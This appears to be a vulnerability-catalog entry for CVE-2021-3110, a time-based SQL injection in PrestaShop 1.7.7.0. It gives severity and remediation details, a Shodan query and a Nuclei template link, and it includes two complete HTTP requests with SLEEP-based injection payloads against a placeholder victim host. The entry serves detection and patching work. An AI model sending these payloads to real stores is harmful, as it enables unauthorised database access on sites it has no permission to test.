| Title | PrestaShop 1.7.7.0 - SQL Injection |
|---|---|
| Author | Jaimin Gondaliya,mastercho |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Apply the latest security patch or upgrade to a non-vulnerable version of PrestaShop. |
| CVSS Score | 9.8 |
| EPSS Score | 0.79344 |
| CVE ID | CVE-2021-3110 |
| CWE ID | CWE-89 |
| Shodan Query | cpe:"cpe:2.3:a:prestashop:prestashop" |
| Tags | time-based-sqli cve cve2021 sqli prestshop edb prestashop vuln |
PrestaShop 1.7.7.0 contains a SQL injection vulnerability via the store system. It allows time-based boolean SQL injection via the module=productcomments controller=CommentGrade id_products[] parameter. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(8)))xoOt) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /module/productcomments/CommentGrade?id_products[]=1*if(now()=sysdate()%2Csleep(8)%2C0) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-3110.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-3110.pcap
N/AN/A